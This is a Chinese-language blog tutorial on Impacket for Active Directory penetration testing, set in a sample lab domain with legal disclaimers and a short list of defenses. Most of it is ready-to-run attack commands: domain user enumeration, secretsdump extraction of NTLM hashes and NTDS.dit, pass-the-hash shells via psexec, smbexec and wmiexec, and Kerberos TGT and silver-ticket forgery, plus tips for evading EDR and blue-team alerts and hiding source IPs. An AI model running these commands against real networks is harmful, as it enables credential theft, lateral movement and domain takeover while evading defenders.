欢迎光临
我们一直在努力

内网渗透“瑞士军刀”:Impacket 全系工具实战指南

适用人群:安全运维、红队成员、CTF 玩家

免责声明:本文所有示例均在授权靶场环境(如 HTB、VulnHub、本地虚拟机)中完成。严禁用于未授权真实网络,违者后果自负。


一、为什么 Impacket 是内网渗透的“标配”?

在内网渗透圈有一句玩笑话:

“如果有个 Python 脚本能打穿你的内网,那它大概率来自 Impacket。”

Impacket​ 是一组用于处理网络协议的 Python 类库和脚本集合,由 SecureAuth 维护。它的可怕之处在于:

  • ✅ 协议级实现:不依赖系统命令,直接构造 SMB、Kerberos、LDAP 等协议数据包

  • ✅ 无文件落地:很多攻击可直接通过内存完成

  • ✅ 跨平台:Linux / macOS / Windows 通吃

一句话总结:它是红队武器库里的“万能钥匙”。


二、环境准备(与时俱进版 · 2026)

1️⃣ 安装方式(推荐)

git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m pip install .

✅ Python 版本:3.10+

✅ 常见问题:若遇到 cryptography报错,请升级 pip:

pip install -U cryptography


三、Impacket 工具矩阵(按攻击阶段划分)

阶段

核心工具

用途

信息收集

GetADUsers.py

域用户枚举

凭证窃取

secretsdump.py

SAM / NTDS 提取

横向移动

psexec.pysmbexec.py

远程执行

权限维持

wmiexec.py

WMI 后门

Kerberos 攻击

getTGT.pyticketer.py

黄金/白银票据


四、实战演练(真实可复现)

🧩 场景设定

  • 域控:DC01 (192.168.56.101)

  • 域:corp.local

  • 已获得普通域用户:alice:Passw0rd!


五、信息收集篇

1️⃣ 枚举域用户

GetADUsers.py corp.local/alice:Passw0rd!@192.168.56.101

📌 亮点:

  • 自动解析 LDAP

  • 可获取用户最后登录时间(辅助定位管理员)

💡 红队技巧:

找到“Description 里写着密码”的用户,比爆破快十倍 😂


六、凭证提取篇(核武级)

2️⃣ secretsdump.py —— 内网渗透的“核武器”

secretsdump.py corp.local/alice:Passw0rd\\!@192.168.56.101

🎯 你能拿到什么?

  • ✅ NTLM Hash

  • ✅ LSA Secrets

  • ✅ NTDS.dit(域控所有用户 Hash)

⚠️ 注意:

  • 需要 SYSTEM 权限

  • 对域控执行 = 红队“摊牌时刻”

📌 Hash 示例:

纯文本

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


七、横向移动篇

3️⃣ PsExec.py(最经典)

psexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

✅ 特点:

  • 上传服务 → 执行 → 删除

  • 日志明显,蓝队最爱告警 😅


4️⃣ smbexec.py(更隐蔽)

smbexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

✅ 优点:

  • 不创建服务

  • 利用 svchost.exe

📌 红队建议:

蓝队盯着 psexec,你用 smbexec。


5️⃣ wmiexec.py(无文件)

wmiexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

✅ 半交互式 Shell

✅ 极少落盘

✅ EDR 最难检测之一


八、Kerberos 攻击篇(高阶)

6️⃣ 获取 TGT

getTGT.py corp.local/alice:Passw0rd\\!@192.168.56.101

生成:

纯文本

alice.ccache

设置环境变量:

export KRB5CCNAME=alice.ccache


7️⃣ 白银票据(Service Ticket)

ticketer.py -nthash <service_ntlm> -domain-sid <SID> -domain corp.local Administrator

🎯 用途:

  • 伪造特定服务访问权限

  • 绕过账号限制


九、Impacket 使用“潜规则”

建议

原因

尽量用 Hash

避免密码被改

少用明文密码

日志审计

控制并发

防止触发锁账户

配合 Proxy

隐藏来源 IP


十、蓝队视角(防御建议)

✅ 启用 LSA Protection​

✅ 监控 4625 / 4648​ 登录日志

✅ 限制 Admin 登录主机

✅ 定期重置 KRBTGT 密码


十一、结语 & 严肃警示 ⚠️

Impacket 是双刃剑​

它能帮你发现企业最深层的隐患,也能让你一夜之间登上新闻头条。

🚨 再次郑重声明:

  • 本文仅用于 合法授权的安全测试与学习

  • 任何在未授权系统中使用文中技术,均属违法行为

  • 作者与平台不承担任何法律责任

赞(0)
未经允许不得转载:171主机测评 » 内网渗透“瑞士军刀”:Impacket 全系工具实战指南
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址